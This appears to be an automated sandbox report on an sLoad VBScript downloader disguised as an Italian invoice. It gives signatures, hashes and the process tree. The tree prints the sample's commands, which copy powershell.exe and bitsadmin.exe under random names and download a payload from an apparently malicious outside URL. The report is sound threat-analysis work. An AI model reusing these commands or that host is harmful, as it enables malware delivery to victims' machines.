Analysis

  • max time kernel
    86s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20/05/2022, 15:02

General

  • Target
    FattDiffEmessa2020 03799870369/FattDiffEmessa2020 03799870369.vbs
  • Size 3KB
  • Sample220520-seve5ahah3
  • SHA256 79b59d0b510fb8855ee624fd51b46c2b4f1cccef9294860f9864f00183b07e2c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 03799870369\FattDiffEmessa2020 03799870369.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\pDrBqNtd.exe
      2⤵
        PID:3484
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
        2⤵
          PID:3656
        • C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
          "C:\Users\Admin\AppData\Roaming\DrBqNtd.exe" /transfer bHybPh /download https://ndjambo.com/jaluma/03799870369/it.gif C:\Users\Admin\AppData\Roaming\it.gif
          2⤵
          • Executes dropped EXE
          PID:1716

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            DrBqNtd.exe

            • Path C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP

            DrBqNtd.exe

            • Path C:\Users\Admin\AppData\Roaming\DrBqNtd.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP